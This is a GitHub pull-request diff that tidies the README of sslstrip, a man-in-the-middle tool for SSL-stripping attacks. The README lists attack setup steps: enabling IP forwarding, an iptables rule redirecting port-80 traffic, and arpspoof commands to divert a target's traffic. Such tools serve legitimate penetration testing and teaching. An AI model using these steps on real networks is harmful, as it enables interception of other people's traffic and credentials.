Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cleaned up instructions. #2

Merged
merged 1 commit into from
Nov 25, 2021
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 14 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,23 +1,26 @@
sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.

Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover and DNSrecon).
Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover, and DNSrecon).
* [![Twitter Follow](https://img.shields.io/twitter/follow/jay_townsend1.svg?style=social&label=Follow)](https://twitter.com/jay_townsend1) Jay "L1ghtn1ng" Townsend @jay_townsend1

Installing:
pip3 install -r requirements.txt
Run 'python setup.py install' as root to install or run it out of the directory.
Requirements:
```pip3 install -r requirements.txt```

Running:
Run as root to install or run it out of the directory:
```python3 setup.py install```

Running:
sslstrip can be run from the source base without installation.
Run 'python3 sslstrip.py -h' as a non-root user to get the command-line options.
Run as a normal user to see options.
```python3 sslstrip.py -h```

1. Enable IP forwarding (as root):<br>
1. As root, enable IP forwarding:<br>
```echo "1" > /proc/sys/net/ipv4/ip_forward```

2. Setup iptables to intercept HTTP requests (as root):<br>
```iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>```
2. As root, setup iptables to intercept HTTP requests:<br>
```iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <your listen port>```

3. Run sslstrip with the options you prefer.

4. Run arpspoof to redirect traffic to your machine (as root):<br>
```arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress>```
4. As root, run arpspoof to redirect traffic to your host:<br>
```arpspoof -i <your network interface> -t <target IP> <routers IP>```